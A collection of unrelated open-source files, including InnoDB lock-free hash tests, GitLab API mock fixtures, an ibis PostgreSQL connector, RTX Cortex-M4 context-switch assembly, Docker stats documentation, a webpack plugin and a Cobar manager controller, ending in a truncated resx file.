const size_t n_iter = 512 * 4096 / p->n_common;
#else
const size_t n_iter = 4096 / p->n_common;
#endif
for (size_t i = 0; i < n_iter; i++) {
for (size_t j = 0; j < p->n_common; j++) {
const uint64_t key = key_gen(j, 0);
p->hash->inc(key);
p->hash->inc(key);
p->hash->inc(key);
p->hash->dec(key);
p->hash->inc(key);
p->hash->dec(key);
p->hash->dec(key);
p->hash->dec(key);
}
for (size_t j = 0; j < p->n_priv_per_thread; j++) {
const uint64_t key = key_gen(j, key_extra_bits);
for (size_t k = 0; k < 4; k++) {
p->hash->inc(key);
p->hash->dec(key);
p->hash->inc(key);
p->hash->dec(key);
}
}
}
hash_check_inserted(p->hash, p->n_priv_per_thread, key_extra_bits);
hash_delete(p->hash, p->n_priv_per_thread, key_extra_bits);
hash_check_deleted(p->hash, p->n_priv_per_thread, key_extra_bits);
}
TEST_F(ut0lock_free_hash, multi_threaded_0r100w) {
run_multi_threaded(
"multi threaded, 0% read, 100% write, many keys" /* label */,
1024 * 32 /* initial hash size */, 4096 /* n_common */,
256 /* n_priv_per_thread */, 64 /* n_threads */,
thread_0r100w /* thr func */
);
}
TEST_F(ut0lock_free_hash, multi_threaded_0r100w_few_keys) {
run_multi_threaded(
"multi threaded, 0% read, 100% write, few keys" /* label */,
1024 * 32 /* initial hash size */, 16 /* n_common */,
0 /* n_priv_per_thread */, 64 /* n_threads */,
thread_0r100w /* thr func */
);
}
TEST_F(ut0lock_free_hash, multi_threaded_0r100w_grow) {
run_multi_threaded(
"multi threaded, 0% read, 100% write, arraygrow" /* label */,
1 /* initial hash size */, 4096 /* n_common */,
256 /* n_priv_per_thread */, 64, /* n_threads */
thread_0r100w /* thr func */
);
}
/** Hammer a common hash with get(), inc(), dec() and set(), 50% reads and
50% writes. The inc()/dec() performed on the common keys will net to 0 when
this thread ends. It also inserts some tuples with keys that are unique to
this thread.
@param[in] p thread arguments */
void thread_50r50w(const thread_params_t *p) {
const uint64_t key_extra_bits = p->thread_id << 32;
hash_insert(p->hash, p->n_priv_per_thread, key_extra_bits);
hash_check_inserted(p->hash, p->n_priv_per_thread, key_extra_bits);
#if defined(HEAVY_TEST)
const size_t n_iter = 512;
#else
const size_t n_iter = 1;
#endif
for (size_t i = 0; i < n_iter; i++) {
for (size_t j = 0; j < p->n_common; j++) {
const uint64_t key_write = key_gen(j, 0);
/* Make 1/4 of the reads access possibly nonexisting
tuples. */
const uint64_t key_read = key_gen(j + p->n_common / 4, 0);
p->hash->get(key_read);
p->hash->inc(key_write);
p->hash->get(key_read);
p->hash->inc(key_write);
p->hash->dec(key_write);
p->hash->get(key_read);
p->hash->dec(key_write);
p->hash->get(key_read);
}
for (size_t j = 0; j < p->n_priv_per_thread; j++) {
const uint64_t key_write = key_gen(j, key_extra_bits);
/* Make 1/4 of the reads access possibly nonexisting
tuples. */
const uint64_t key_read =
key_gen(j + p->n_priv_per_thread / 4, key_extra_bits);
for (size_t k = 0; k < 4; k++) {
p->hash->inc(key_write);
p->hash->get(key_read);
p->hash->dec(key_write);
p->hash->get(key_read);
}
}
}
hash_check_inserted(p->hash, p->n_priv_per_thread, key_extra_bits);
hash_delete(p->hash, p->n_priv_per_thread, key_extra_bits);
hash_check_deleted(p->hash, p->n_priv_per_thread, key_extra_bits);
}
TEST_F(ut0lock_free_hash, multi_threaded_50r50w) {
run_multi_threaded(
"multi threaded, 50% read, 50% write, many keys" /* label */,
1024 * 32 /* initial hash size */, 4096 /* n_common */,
256 /* n_priv_per_thread */, 64 /* n_threads */,
thread_50r50w /* thr func */
);
}
/** Hammer a commmon hash with get()s, 100% reads.
@param[in] p thread arguments */
void thread_100r0w(const thread_params_t *p) {
const uint64_t key_extra_bits = p->thread_id << 32;
hash_insert(p->hash, p->n_priv_per_thread, key_extra_bits);
hash_check_inserted(p->hash, p->n_priv_per_thread, key_extra_bits);
#if defined(HEAVY_TEST)
const size_t n_iter = 512;
#else
const size_t n_iter = 1;
#endif
for (size_t i = 0; i < n_iter; i++) {
for (size_t j = 0; j < p->n_common; j++) {
/* Make 1/4 of the reads access possibly nonexisting
tuples. */
const uint64_t key_read = key_gen(j + p->n_common / 4, 0);
p->hash->get(key_read);
p->hash->get(key_read);
p->hash->get(key_read);
p->hash->get(key_read);
p->hash->get(key_read);
p->hash->get(key_read);
p->hash->get(key_read);
p->hash->get(key_read);
}
for (size_t j = 0; j < p->n_priv_per_thread; j++) {
/* Make 1/4 of the reads access possibly nonexisting
tuples. */
const uint64_t key_read =
key_gen(j + p->n_priv_per_thread / 4, key_extra_bits);
for (size_t k = 0; k < 4; k++) {
p->hash->get(key_read);
p->hash->get(key_read);
p->hash->get(key_read);
p->hash->get(key_read);
}
}
}
hash_check_inserted(p->hash, p->n_priv_per_thread, key_extra_bits);
hash_delete(p->hash, p->n_priv_per_thread, key_extra_bits);
hash_check_deleted(p->hash, p->n_priv_per_thread, key_extra_bits);
}
TEST_F(ut0lock_free_hash, multi_threaded_100r0w) {
run_multi_threaded(
"multi threaded, 100% read, 0% write, many keys" /* label */,
1024 * 32 /* initial hash size */, 4096 /* n_common */,
256 /* n_priv_per_thread */, 64 /* n_threads */,
thread_100r0w /* thr func */
);
}
} // namespace innodb_lock_free_hash_unittest
|
{
"pile_set_name": "Github"
}
|
/*
IMPORTANT! This file is auto-generated each time you save your
project - if you alter its contents, your changes may be overwritten!
This is the header file that your files should include in order to get all the
JUCE library headers. You should avoid including the JUCE headers directly in
your own source files, because that wouldn't pick up the correct configuration
options for your app.
*/
#ifndef __APPHEADERFILE_F9H42W__
#define __APPHEADERFILE_F9H42W__
#include "AppConfig.h"
#include "modules/juce_audio_basics/juce_audio_basics.h"
#include "modules/juce_audio_devices/juce_audio_devices.h"
#include "modules/juce_audio_formats/juce_audio_formats.h"
#include "modules/juce_audio_plugin_client/juce_audio_plugin_client.h"
#include "modules/juce_audio_processors/juce_audio_processors.h"
#include "modules/juce_core/juce_core.h"
#include "modules/juce_cryptography/juce_cryptography.h"
#include "modules/juce_data_structures/juce_data_structures.h"
#include "modules/juce_events/juce_events.h"
#include "modules/juce_graphics/juce_graphics.h"
#include "modules/juce_gui_basics/juce_gui_basics.h"
#include "modules/juce_gui_extra/juce_gui_extra.h"
#include "modules/juce_opengl/juce_opengl.h"
#include "modules/juce_video/juce_video.h"
#include "modules/juce_osc/juce_osc.h"
#if ! DONT_SET_USING_JUCE_NAMESPACE
// If your code uses a lot of JUCE classes, then this will obviously save you
// a lot of typing, but can be disabled by setting DONT_SET_USING_JUCE_NAMESPACE.
using namespace juce;
#endif
#ifndef VERSION
#define VERSION 1.0.0
#endif
#define Q(x) #x
#define QUOTE(x) Q(x)
namespace ProjectInfo
{
const char* const projectName = "ambix_rotator_z";
const char* const versionString = QUOTE(VERSION);
const int versionNumber = 0x10000;
}
#endif // __APPHEADERFILE_F9H42W__
|
{
"pile_set_name": "Github"
}
|
"""Common mocks for resources in gitlab.v4.objects"""
import re
import pytest
import responses
@pytest.fixture
def binary_content():
return b"binary content"
@pytest.fixture
def accepted_content():
return {"message": "202 Accepted"}
@pytest.fixture
def created_content():
return {"message": "201 Created"}
@pytest.fixture
def no_content():
return {"message": "204 No Content"}
@pytest.fixture
def resp_export(accepted_content, binary_content):
"""Common fixture for group and project exports."""
export_status_content = {
"id": 1,
"description": "Itaque perspiciatis minima aspernatur",
"name": "Gitlab Test",
"name_with_namespace": "Gitlab Org / Gitlab Test",
"path": "gitlab-test",
"path_with_namespace": "gitlab-org/gitlab-test",
"created_at": "2017-08-29T04:36:44.383Z",
"export_status": "finished",
"_links": {
"api_url": "https://gitlab.test/api/v4/projects/1/export/download",
"web_url": "https://gitlab.test/gitlab-test/download_export",
},
}
with responses.RequestsMock(assert_all_requests_are_fired=False) as rsps:
rsps.add(
method=responses.POST,
url=re.compile(r".*/api/v4/(groups|projects)/1/export"),
json=accepted_content,
content_type="application/json",
status=202,
)
rsps.add(
method=responses.GET,
url=re.compile(r".*/api/v4/(groups|projects)/1/export/download"),
body=binary_content,
content_type="application/octet-stream",
status=200,
)
# Currently only project export supports status checks
rsps.add(
method=responses.GET,
url="http://localhost/api/v4/projects/1/export",
json=export_status_content,
content_type="application/json",
status=200,
)
yield rsps
|
{
"pile_set_name": "Github"
}
|
from ibis.sql.alchemy import to_sqlalchemy
from ibis.sql.postgres.client import PostgreSQLClient
from ibis.sql.postgres.compiler import ( # noqa: F401, E501
compiles,
dialect,
rewrites,
)
def compile(expr, params=None):
"""Compile an ibis expression to the PostgreSQL target.
Parameters
----------
expr : ibis.expr.types.Expr
The ibis expression to compile
params : dict or None
``dict`` mapping :class:`ibis.expr.types.ScalarParameter` objects to
values
Returns
-------
sqlalchemy_expression : sqlalchemy.sql.expression.ClauseElement
Examples
--------
>>> import os
>>> import getpass
>>> host = os.environ.get('IBIS_TEST_POSTGRES_HOST', 'localhost')
>>> user = os.environ.get('IBIS_TEST_POSTGRES_USER', getpass.getuser())
>>> password = os.environ.get('IBIS_TEST_POSTGRES_PASSWORD')
>>> database = os.environ.get('IBIS_TEST_POSTGRES_DATABASE',
... 'ibis_testing')
>>> con = connect(
... database=database,
... host=host,
... user=user,
... password=password
... )
>>> t = con.table('functional_alltypes')
>>> expr = t.double_col + 1
>>> sqla = compile(expr)
>>> print(str(sqla)) # doctest: +NORMALIZE_WHITESPACE
SELECT t0.double_col + %(param_1)s AS tmp
FROM functional_alltypes AS t0
"""
return to_sqlalchemy(expr, dialect.make_context(params=params))
def connect(
host='localhost',
user=None,
password=None,
port=5432,
database=None,
url=None,
driver='psycopg2',
):
"""Create an Ibis client located at `user`:`password`@`host`:`port`
connected to a PostgreSQL database named `database`.
Parameters
----------
host : string, default 'localhost'
user : string, default None
password : string, default None
port : string or integer, default 5432
database : string, default None
url : string, default None
Complete SQLAlchemy connection string. If passed, the other connection
arguments are ignored.
driver : string, default 'psycopg2'
Returns
-------
PostgreSQLClient
Examples
--------
>>> import os
>>> import getpass
>>> host = os.environ.get('IBIS_TEST_POSTGRES_HOST', 'localhost')
>>> user = os.environ.get('IBIS_TEST_POSTGRES_USER', getpass.getuser())
>>> password = os.environ.get('IBIS_TEST_POSTGRES_PASSWORD')
>>> database = os.environ.get('IBIS_TEST_POSTGRES_DATABASE',
... 'ibis_testing')
>>> con = connect(
... database=database,
... host=host,
... user=user,
... password=password
... )
>>> con.list_tables() # doctest: +ELLIPSIS
[...]
>>> t = con.table('functional_alltypes')
>>> t
PostgreSQLTable[table]
name: functional_alltypes
schema:
index : int64
Unnamed: 0 : int64
id : int32
bool_col : boolean
tinyint_col : int16
smallint_col : int16
int_col : int32
bigint_col : int64
float_col : float32
double_col : float64
date_string_col : string
string_col : string
timestamp_col : timestamp
year : int32
month : int32
"""
return PostgreSQLClient(
host=host,
user=user,
password=password,
port=port,
database=database,
url=url,
driver=driver,
)
|
{
"pile_set_name": "Github"
}
|
from gazette.spiders.base import FecamGazetteSpider
class ScChapadaoDoLageadoSpider(FecamGazetteSpider):
name = "sc_chapadao_do_lageado"
FECAM_QUERY = "cod_entidade:70"
TERRITORY_ID = "4204194"
|
{
"pile_set_name": "Github"
}
|
/*----------------------------------------------------------------------------
* CMSIS-RTOS - RTX
*----------------------------------------------------------------------------
* Name: HAL_CM4.S
* Purpose: Hardware Abstraction Layer for Cortex-M4
* Rev.: V4.79
*----------------------------------------------------------------------------
*
* Copyright (c) 1999-2009 KEIL, 2009-2017 ARM Germany GmbH. All rights reserved.
*
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the License); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an AS IS BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*---------------------------------------------------------------------------*/
NAME HAL_CM4.S
#define TCB_STACKF 37
#define TCB_TSTACK 40
EXTERN os_flags
EXTERN os_tsk
EXTERN rt_alloc_box
EXTERN rt_free_box
EXTERN rt_stk_check
EXTERN rt_pop_req
EXTERN rt_systick
EXTERN os_tick_irqack
EXTERN SVC_Table
EXTERN SVC_Count
/*----------------------------------------------------------------------------
* Functions
*---------------------------------------------------------------------------*/
SECTION .text:CODE:NOROOT(2)
THUMB
/*--------------------------- rt_set_PSP ------------------------------------*/
; void rt_set_PSP (U32 stack);
PUBLIC rt_set_PSP
rt_set_PSP:
MSR PSP,R0
BX LR
/*--------------------------- rt_get_PSP ------------------------------------*/
; U32 rt_get_PSP (void);
PUBLIC rt_get_PSP
rt_get_PSP:
MRS R0,PSP
BX LR
/*--------------------------- os_set_env ------------------------------------*/
; void os_set_env (void);
/* Switch to Unprivileged/Privileged Thread mode, use PSP. */
PUBLIC os_set_env
os_set_env:
MOV R0,SP /* PSP = MSP */
MSR PSP,R0
LDR R0,=os_flags
LDRB R0,[R0]
LSLS R0,#31
ITE NE
MOVNE R0,#0x02 /* Privileged Thread mode, use PSP */
MOVEQ R0,#0x03 /* Unprivileged Thread mode, use PSP */
MSR CONTROL,R0
BX LR
/*--------------------------- _alloc_box ------------------------------------*/
; void *_alloc_box (void *box_mem);
/* Function wrapper for Unprivileged/Privileged mode. */
PUBLIC _alloc_box
_alloc_box:
LDR R12,=rt_alloc_box
MRS R3,IPSR
LSLS R3,#24
IT NE
BXNE R12
MRS R3,CONTROL
LSLS R3,#31
IT EQ
BXEQ R12
SVC 0
BX LR
/*--------------------------- _free_box -------------------------------------*/
; U32 _free_box (void *box_mem, void *box);
/* Function wrapper for Unprivileged/Privileged mode. */
PUBLIC _free_box
_free_box:
LDR R12,=rt_free_box
MRS R3,IPSR
LSLS R3,#24
IT NE
BXNE R12
MRS R3,CONTROL
LSLS R3,#31
IT EQ
BXEQ R12
SVC 0
BX LR
/*-------------------------- SVC_Handler ------------------------------------*/
; void SVC_Handler (void);
PUBLIC SVC_Handler
SVC_Handler:
MRS R0,PSP /* Read PSP */
LDR R1,[R0,#24] /* Read Saved PC from Stack */
LDRB R1,[R1,#-2] /* Load SVC Number */
CBNZ R1,SVC_User
LDM R0,{R0-R3,R12} /* Read R0-R3,R12 from stack */
PUSH {R4,LR} /* Save EXC_RETURN */
BLX R12 /* Call SVC Function */
POP {R4,LR} /* Restore EXC_RETURN */
MRS R12,PSP /* Read PSP */
STM R12,{R0-R2} /* Store return values */
LDR R3,=os_tsk
LDM R3,{R1,R2} /* os_tsk.run, os_tsk.next */
CMP R1,R2
IT EQ
BXEQ LR /* RETI, no task switch */
CBNZ R1,SVC_ContextSave /* Runtask not deleted? */
TST LR,#0x10 /* is it extended frame? */
BNE SVC_ContextRestore
LDR R1,=0xE000EF34
LDR R0,[R1] /* Load FPCCR */
BIC R0,R0,#1 /* Clear LSPACT (Lazy state) */
STR R0,[R1] /* Store FPCCR */
B SVC_ContextRestore
SVC_ContextSave:
TST LR,#0x10 /* is it extended frame? */
ITTE EQ
VSTMDBEQ R12!,{S16-S31} /* yes, stack also VFP hi-regs */
MOVEQ R0,#0x01 /* os_tsk->stack_frame val */
MOVNE R0,#0x00
STRB R0,[R1,#TCB_STACKF] /* os_tsk.run->stack_frame = val */
STMDB R12!,{R4-R11} /* Save Old context */
STR R12,[R1,#TCB_TSTACK] /* Update os_tsk.run->tsk_stack */
PUSH {R2,R3}
BL rt_stk_check /* Check for Stack overflow */
POP {R2,R3}
SVC_ContextRestore:
STR R2,[R3] /* os_tsk.run = os_tsk.next */
LDR R12,[R2,#TCB_TSTACK] /* os_tsk.next->tsk_stack */
LDMIA R12!,{R4-R11} /* Restore New Context */
LDRB R0,[R2,#TCB_STACKF] /* Stack Frame */
CMP R0,#0 /* Basic/Extended Stack Frame */
ITEE EQ
MVNEQ LR,#~0xFFFFFFFD /* set EXC_RETURN value */
MVNNE LR,#~0xFFFFFFED
VLDMIANE R12!,{S16-S31} /* restore VFP hi-registers */
MSR PSP,R12 /* Write PSP */
SVC_Exit:
BX LR
/*------------------- User SVC ------------------------------*/
SVC_User:
PUSH {R4,LR} /* Save Registers */
LDR R2,=SVC_Count
LDR R2,[R2]
CMP R1,R2
BHI SVC_Done /* Overflow */
LDR R4,=SVC_Table-4
LDR R4,[R4,R1,LSL #2] /* Load SVC Function Address */
LDM R0,{R0-R3,R12} /* Read R0-R3,R12 from stack */
BLX R4 /* Call SVC Function */
MRS R12,PSP
STM R12,{R0-R3} /* Function return values */
SVC_Done:
POP {R4,PC} /* RETI */
/*-------------------------- PendSV_Handler ---------------------------------*/
; void PendSV_Handler (void);
PUBLIC PendSV_Handler
PendSV_Handler:
PUSH {R4,LR} /* Save EXC_RETURN */
BL rt_pop_req
Sys_Switch:
POP {R4,LR} /* Restore EXC_RETURN */
LDR R3,=os_tsk
LDM R3,{R1,R2} /* os_tsk.run, os_tsk.next */
CMP R1,R2
IT EQ
BXEQ LR /* RETI, no task switch */
MRS R12,PSP /* Read PSP */
TST LR,#0x10 /* is it extended frame? */
ITTE EQ
VSTMDBEQ R12!,{S16-S31} /* yes, stack also VFP hi-regs */
MOVEQ R0,#0x01 /* os_tsk->stack_frame val */
MOVNE R0,#0x00
STRB R0,[R1,#TCB_STACKF] /* os_tsk.run->stack_frame = val */
STMDB R12!,{R4-R11} /* Save Old context */
STR R12,[R1,#TCB_TSTACK] /* Update os_tsk.run->tsk_stack */
PUSH {R2,R3}
BL rt_stk_check /* Check for Stack overflow */
POP {R2,R3}
STR R2,[R3] /* os_tsk.run = os_tsk.next */
LDR R12,[R2,#TCB_TSTACK] /* os_tsk.next->tsk_stack */
LDMIA R12!,{R4-R11} /* Restore New Context */
LDRB R0,[R2,#TCB_STACKF] /* Stack Frame */
CMP R0,#0 /* Basic/Extended Stack Frame */
ITEE EQ
MVNEQ LR,#~0xFFFFFFFD /* set EXC_RETURN value */
MVNNE LR,#~0xFFFFFFED
VLDMIANE R12!,{S16-S31} /* restore VFP hi-registers */
MSR PSP,R12 /* Write PSP */
Sys_Exit:
BX LR /* Return to Thread Mode */
/*-------------------------- SysTick_Handler --------------------------------*/
; void SysTick_Handler (void);
PUBLIC SysTick_Handler
SysTick_Handler:
PUSH {R4,LR} /* Save EXC_RETURN */
BL rt_systick
B Sys_Switch
/*-------------------------- OS_Tick_Handler --------------------------------*/
; void OS_Tick_Handler (void);
PUBLIC OS_Tick_Handler
OS_Tick_Handler:
PUSH {R4,LR} /* Save EXC_RETURN */
BL os_tick_irqack
BL rt_systick
B Sys_Switch
END
/*----------------------------------------------------------------------------
* end of file
*---------------------------------------------------------------------------*/
|
{
"pile_set_name": "Github"
}
|
<!--[metadata]>
+++
title = "stats"
description = "The stats command description and usage"
keywords = ["container, resource, statistics"]
[menu.main]
parent = "smn_cli"
+++
<![end-metadata]-->
# stats
Usage: docker stats [OPTIONS] [CONTAINER...]
Display a live stream of one or more containers' resource usage statistics
-a, --all Show all containers (default shows just running)
--help Print usage
--no-stream Disable streaming stats and only pull the first result
The `docker stats` command returns a live data stream for running containers. To limit data to one or more specific containers, specify a list of container names or ids separated by a space. You can specify a stopped container but stopped containers do not return any data.
If you want more detailed information about a container's resource usage, use the `/containers/(id)/stats` API endpoint.
## Examples
Running `docker stats` on all running containers
$ docker stats
CONTAINER CPU % MEM USAGE / LIMIT MEM % NET I/O BLOCK I/O
1285939c1fd3 0.07% 796 KB / 64 MB 1.21% 788 B / 648 B 3.568 MB / 512 KB
9c76f7834ae2 0.07% 2.746 MB / 64 MB 4.29% 1.266 KB / 648 B 12.4 MB / 0 B
d1ea048f04e4 0.03% 4.583 MB / 64 MB 6.30% 2.854 KB / 648 B 27.7 MB / 0 B
Running `docker stats` on multiple containers by name and id.
$ docker stats fervent_panini 5acfcb1b4fd1
CONTAINER CPU % MEM USAGE/LIMIT MEM % NET I/O
5acfcb1b4fd1 0.00% 115.2 MB/1.045 GB 11.03% 1.422 kB/648 B
fervent_panini 0.02% 11.08 MB/1.045 GB 1.06% 648 B/648 B
|
{
"pile_set_name": "Github"
}
|
package com.daasuu.epf.custfilter;
import android.content.Context;
import android.opengl.GLES20;
import android.opengl.GLES30;
import com.daasuu.epf.R;
import com.daasuu.epf.filter.FilterType;
import com.daasuu.epf.filter.GlFilter;
import static com.spx.library.util.GlUtil.raw;
public class GlSoulOutFilter extends GlFilter {
float mScale = 0f;
float mOffset = 0f;
private int mScaleHandle;
public GlSoulOutFilter(Context context) {
super(context, R.raw.def_vertext, R.raw.fragment_soulout);
}
@Override
public FilterType getFilterType() {
return FilterType.SPX_SOULOUT;
}
@Override
public void initProgramHandle() {
super.initProgramHandle();
mScaleHandle = GLES30.glGetUniformLocation(mProgramHandle, "scale");
}
@Override
public void onDraw() {
mScale = 1.0f + 0.5f * getInterpolation(mOffset);
mOffset += 0.04f;
if (mOffset > 1.0f) {
mOffset = 0.0f;
}
GLES20.glUniform1f(mScaleHandle, mScale);
}
private float getInterpolation(float input) {
return (float) (Math.cos((input + 1) * Math.PI) / 2.0f) + 0.5f;
}
}
|
{
"pile_set_name": "Github"
}
|
# CMSIS-DAP 升级说明 #
CMSIS-DAP 使用stm32f103c8t6,由于flash只有64KB,升级需要使用另外一个仿真器配合上位机对其进行升级,
如stlink + st utility,jlink + jflash,或者cmsis-dap + openocd/pyocd,(注意设置烧录起始地址为0x08000000)。
# DAPLink 升级说明 #
DAPLink使用 stm32f103cbt6,flash大小为128KB,DAPLink自带一个带U盘的bootloader,可以方便的
进行拖拽升级,升级步骤如下:
1. 使用杜邦线将nRST和GND短接。
2. 将DAP插入到PC中,预期应该会出现一个名为MAINTENANCE的U盘。
3. 此时可以将nRST和GND断开。
4. 将新的固件拖动到MAINTENANCE U盘中,即可自动完成固件升级。
PS:
all-in-one-image目录下为完整的128KB镜像,若需要烧录此目录下的镜像,则和CMSIS-DAP一样,
需要另一个仿真器对其进行升级,其他目录下则可以通过拖拽方式进行升级。
|
{
"pile_set_name": "Github"
}
|
if not exists(Pattern("in.png").similar(0.60)):
exit(1)
click(Pattern("in.png").similar(0.60))
sleep(0.5)
exit(0)
|
{
"pile_set_name": "Github"
}
|
cd pys/dist
htmlWeb.exe
|
{
"pile_set_name": "Github"
}
|
// license:BSD-3-Clause
// copyright-holders:R. Belmont
/**********************************************************************
rtc4543.h - Epson R4543 real-time clock emulation
by R. Belmont
**********************************************************************/
#ifndef MAME_MACHINE_RTC4543_H
#define MAME_MACHINE_RTC4543_H
#pragma once
#include "dirtc.h"
//**************************************************************************
// TYPE DEFINITIONS
//**************************************************************************
// ======================> rtc4543_device
class rtc4543_device : public device_t,
public device_rtc_interface
{
static char const *const s_reg_names[7];
public:
// construction/destruction
rtc4543_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock);
DECLARE_WRITE_LINE_MEMBER( ce_w );
DECLARE_WRITE_LINE_MEMBER( wr_w );
DECLARE_WRITE_LINE_MEMBER( clk_w );
DECLARE_READ_LINE_MEMBER( data_r );
DECLARE_WRITE_LINE_MEMBER( data_w );
auto data_cb() { return m_data_cb.bind(); }
protected:
rtc4543_device(const machine_config &mconfig, device_type type, const char *tag, device_t *owner, uint32_t clock);
// device-level overrides
virtual void device_start() override;
virtual void device_reset() override;
virtual void device_timer(emu_timer &timer, device_timer_id id, int param, void *ptr) override;
// device_rtc_interface overrides
virtual void rtc_clock_updated(int year, int month, int day, int day_of_week, int hour, int minute, int second) override;
virtual bool rtc_feature_leap_year() const override { return true; }
// helpers
virtual void ce_rising();
virtual void ce_falling();
virtual void clk_rising();
virtual void clk_falling();
void load_bit(int reg);
void store_bit(int reg);
void advance_bit();
void update_effective();
devcb_write_line m_data_cb;
int m_ce;
int m_clk;
int m_wr;
int m_data;
int m_regs[7];
int m_curbit;
// timers
emu_timer *m_clock_timer;
};
// ======================> jrc6355e_device
class jrc6355e_device : public rtc4543_device
{
public:
// construction/destruction
jrc6355e_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock);
protected:
// rtc4543 overrides
virtual void ce_rising() override;
virtual void ce_falling() override;
virtual void clk_rising() override;
virtual void clk_falling() override;
};
// device type definition
DECLARE_DEVICE_TYPE(RTC4543, rtc4543_device)
DECLARE_DEVICE_TYPE(JRC6355E, jrc6355e_device)
#endif // MAME_MACHINE_RTC4543_H
|
{
"pile_set_name": "Github"
}
|
/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
"use strict";
class FlagIncludedChunksPlugin {
apply(compiler) {
compiler.hooks.compilation.tap("FlagIncludedChunksPlugin", compilation => {
compilation.hooks.optimizeChunkIds.tap(
"FlagIncludedChunksPlugin",
chunks => {
// prepare two bit integers for each module
// 2^31 is the max number represented as SMI in v8
// we want the bits distributed this way:
// the bit 2^31 is pretty rar and only one module should get it
// so it has a probability of 1 / modulesCount
// the first bit (2^0) is the easiest and every module could get it
// if it doesn't get a better bit
// from bit 2^n to 2^(n+1) there is a probability of p
// so 1 / modulesCount == p^31
// <=> p = sqrt31(1 / modulesCount)
// so we use a modulo of 1 / sqrt31(1 / modulesCount)
const moduleBits = new WeakMap();
const modulesCount = compilation.modules.length;
// precalculate the modulo values for each bit
const modulo = 1 / Math.pow(1 / modulesCount, 1 / 31);
const modulos = Array.from(
{ length: 31 },
(x, i) => Math.pow(modulo, i) | 0
);
// iterate all modules to generate bit values
let i = 0;
for (const module of compilation.modules) {
let bit = 30;
while (i % modulos[bit] !== 0) {
bit--;
}
moduleBits.set(module, 1 << bit);
i++;
}
// interate all chunks to generate bitmaps
const chunkModulesHash = new WeakMap();
for (const chunk of chunks) {
let hash = 0;
for (const module of chunk.modulesIterable) {
hash |= moduleBits.get(module);
}
chunkModulesHash.set(chunk, hash);
}
for (const chunkA of chunks) {
const chunkAHash = chunkModulesHash.get(chunkA);
const chunkAModulesCount = chunkA.getNumberOfModules();
if (chunkAModulesCount === 0) continue;
let bestModule = undefined;
for (const module of chunkA.modulesIterable) {
if (
bestModule === undefined ||
bestModule.getNumberOfChunks() > module.getNumberOfChunks()
)
bestModule = module;
}
loopB: for (const chunkB of bestModule.chunksIterable) {
// as we iterate the same iterables twice
// skip if we find ourselves
if (chunkA === chunkB) continue;
const chunkBModulesCount = chunkB.getNumberOfModules();
// ids for empty chunks are not included
if (chunkBModulesCount === 0) continue;
// instead of swapping A and B just bail
// as we loop twice the current A will be B and B then A
if (chunkAModulesCount > chunkBModulesCount) continue;
// is chunkA in chunkB?
// we do a cheap check for the hash value
const chunkBHash = chunkModulesHash.get(chunkB);
if ((chunkBHash & chunkAHash) !== chunkAHash) continue;
// compare all modules
for (const m of chunkA.modulesIterable) {
if (!chunkB.containsModule(m)) continue loopB;
}
chunkB.ids.push(chunkA.id);
}
}
}
);
});
}
}
module.exports = FlagIncludedChunksPlugin;
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright 1999-2012 Alibaba Group.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.alibaba.cobar.manager.web.screen;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.beans.factory.InitializingBean;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.mvc.AbstractController;
import com.alibaba.cobar.manager.dataobject.xml.ClusterDO;
import com.alibaba.cobar.manager.service.XmlAccesser;
import com.alibaba.cobar.manager.util.CobarStringUtil;
import com.alibaba.cobar.manager.util.FluenceHashMap;
import com.alibaba.cobar.manager.util.ListSortUtil;
/**
* @author haiqing.zhuhq 2011-12-12
*/
public class Index extends AbstractController implements InitializingBean {
private XmlAccesser xmlAccesser;
public void setXmlAccesser(XmlAccesser xmlAccesser) {
this.xmlAccesser = xmlAccesser;
}
@Override
public void afterPropertiesSet() throws Exception {
if (xmlAccesser == null) {
throw new IllegalArgumentException("property 'xmlAccesser' is null!");
}
}
@Override
protected ModelAndView handleRequestInternal(HttpServletRequest request, HttpServletResponse response)
throws Exception {
List<ClusterDO> list = xmlAccesser.getClusterDAO().listAllCluster();
List<Map<String, Object>> clusterList = new ArrayList<Map<String, Object>>();
ListSortUtil.sortClusterBySortId(list);
for (ClusterDO e : list) {
Map<String, Object> map = new HashMap<String, Object>();
map.put("id", e.getId());
map.put("name", CobarStringUtil.htmlEscapedString(e.getName()));
map.put("maintContact", e.getMaintContact());
map.put("onlineTime", e.getOnlineTime());
clusterList.add(map);
}
String result = null;
try {
result = request.getParameter("result").trim();
} catch (NullPointerException e) {
result = "null";
}
if (result == null) {
result = "null";
}
//remove attributes for login
if (null != request.getSession(false)) {
request.getSession().removeAttribute("click");
request.getSession().removeAttribute("lastRequest");
}
return new ModelAndView("index", new FluenceHashMap<String, Object>().putKeyValue("clusterList", clusterList)
.putKeyValue("result", result));
}
}
|
{
"pile_set_name": "Github"
}
|
function normal (shader, t_base, t_second, t_detail)
shader:begin ("hud_crosshair","simple_color")
: fog (false)
: zb (false,false)
: blend (true,blend.srcalpha,blend.invsrcalpha)
end
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
